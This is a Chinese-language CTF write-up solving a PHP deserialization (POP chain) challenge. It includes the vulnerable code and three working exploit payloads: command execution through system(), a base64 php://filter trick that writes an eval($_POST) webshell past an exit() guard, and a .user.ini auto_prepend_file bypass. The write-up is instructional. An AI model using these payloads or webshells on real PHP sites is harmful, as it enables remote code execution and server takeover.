这题也是根据2019全国大学生安全运维赛 EZPOP改编的
具体代码如下
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
反序列化漏洞。需要我们构造POP链。有两个类。A和B。看下代码
在B中 。发现了一个危险函数file_put_contents
接收了两个参数$filename,$data
追踪下$filename
$filename = $this->getCacheKey($name);
$name
是直接函数传参的。接着看getCacheKey这个函数是干啥的
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
$cache_filename=$this->options['prefix'].uniqid().$name组成随机的文件名。这里options['prefix']和$name可控。可以用../变成upload/1345235(uniqid)/../1.php
判断$cache_filename文件名最后三位是否是php结尾
这里可以用1.php/.绕过
file_put_contents('1.php/.','123')会生成1.php而不是1.php/.
ok。那么B类中的set函数怎么调用和传参呢。接着看
在A类中。我们发现了一个save()函数。会调用store->set
。
可以将$this->store
赋值为class B
接着就会调用B类中的set函数。
而save函数由析构函数自动调用
接下来看看对应传入的$this->key(B类中的文件名)
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
通过反序列化传参。
1。那么通过反序列化赋值$this->key为../1.php/.
2。析构函数会调用$this->save
函数。我们通过反序列化将store=class B()
就能调用B类中的set函数。然后将$this->key
传入
3。将传入的key定义为$name
。传入B类的getCacheKey函数
4。$this->options['prefix'] . uniqid() . $name
生成随机文件名uploads/48342/../1.php/.会在uploads目录生成1.php。
并且判断后缀名。返回为$filename
5。传入file_put_contents函数
文件名已经搞定了。接下来看文件内容
$data
经过$this->serialize
函数。然后拼接写入
看下serialize函数
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
$this->options['serialize']
可以通过反序列化修改。然后返回$serialize($data)
可以执行system($data)
。继续看$data
的来源
通过set函数传参。
$contents
通过$this->getForStorage()
传参。
getForStorage()函数。又通过cleanContents($this->cache)
找到来源了。$this->cache
就是原始数据
经过cleanContents处理。然后再json_encode转换。赋值$contents
给set函数。经过$serialize
处理。拼接传入file_put_contens。
流程搞懂了。看具体操作
首先看cleanContents函数。接收一个数组。返回。。还是那个数组。只有传入二维数组时。才会进行处理
接下来就会经过json转换。json_encode好像并没有什么参数。看了下手册。第二个参数转义用的。好像对我们并没有什么帮助。代码也没赋值。就先不设置
array('test'=>'abc')---->[{"test":"abc"},null]
然后进入serialize。我们可以反序列化为system函数就执行了
system([{"test":"abc"},null])
不知道能不能执行。本地执行一下
发现是可以执行的。那还写个锤子shell。直接这里执行命令
得到flag在/flag。直接读取就好了
下面构造payload
class A{
protected $store;
protected $key;
public $cache = [];
public function __construct () {
$this->store = new B();
$this->key = '1';
$this->cache = array('a'=>'`cat /flag > ./uploads/flag.php`');
}
}
class B{
public $options = [
'serialize' => 'system'
];
}
echo urlencode(serialize(new A()));
这里读取flag。放到flag.php中
关于A类中的文件名。为什么要设置呢。主要是为了满足函数的string类型。不然会报错。直接停止运行。下面的serialize就执行不了
http://2a3a00d9-b06b-46b8-93a6-f3ef6701e7af.node3.buuoj.cn/?data=O%3A1%3A%22A%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A1%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A1%3A%221%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A32%3A%22%60cat+%2Fflag+%3E+.%2Fuploads%2Fflag.php%60%22%3B%7D%7D
访问uploads/flag.php成功拿到flag
第二种解法:利用base64逃逸拼接内容
继续跟着上面的思路。这里不用system函数了。而是继续使用serialize
array('test'=>'abc')---->s:21:"[{"test":"abc"},null]";
拼接后生成如下。php有个exit()。那么后面无论写什么都不会执行。我们得想办法把exit()给弄掉
file_put_contents支持php伪协议。那么我们通过伪协议。将exit或者?>给破坏掉。就行了
php的base64会将可解析的字符继续解密。a-zA-Z0-9/=+。而;<>这些就会自动忽略。
文件名可控。那么我们只需要将文件名设置为
php://filter/write=convert.base64-decode/resource=uploads/12432/../a.php/.
就能在uploads生成一个a.php。
内容为base64编码过的一句话木马。
通过base64可以成功解码。而前面的exit就没了
由于base64解密需要能整除4。我们上面的代码转换base64能识别的字符如下
刚好能整除4。不能整除4.就不能正常解密
以下是payload
<?php
class A{
protected $store;
protected $key;
public $cache;
public function __construct () {
$this->store = new B();
$this->key = '/../shell.php/.';
$this->cache = array('path'=>'a','dirname'=>base64_encode('<?php eval($_POST[a]);?>'));
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
由于文件名是由$this->options['prefix'] . uniqid() . $name组成。所以。我们构造以上的exp效果如下
php://filter/write=convert.base64-decode/resource=uploads/47881(随机数)/../shell.php/.
执行完。就会在uplaods目录下生成shell.php
解法三:
利用.user.ini
<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache;
public function __construct () {
$this->store = new B();
$this->key = '/../../shell.pHp';
$this->cache = array('path'=>'a','dirname'=>base64_encode('<?php eval($_POST[a]);?>'));
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
<?php
class A{
protected $store;
protected $key;
public $cache;
public function __construct () {
$this->store = new B();
$this->key = '/../../.user.ini';
$this->cache = array('path'=>'a','dirname'=>base64_encode('1'."\n".'auto_prepend_file=shell.pHp'."\n\n\n\n"));
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));
这和解法二思路差不多。都是写文件。只不过
解法二。利用/.绕过后缀名限制。直接写php
这里通过pHp+.user.ini绕过后缀名限制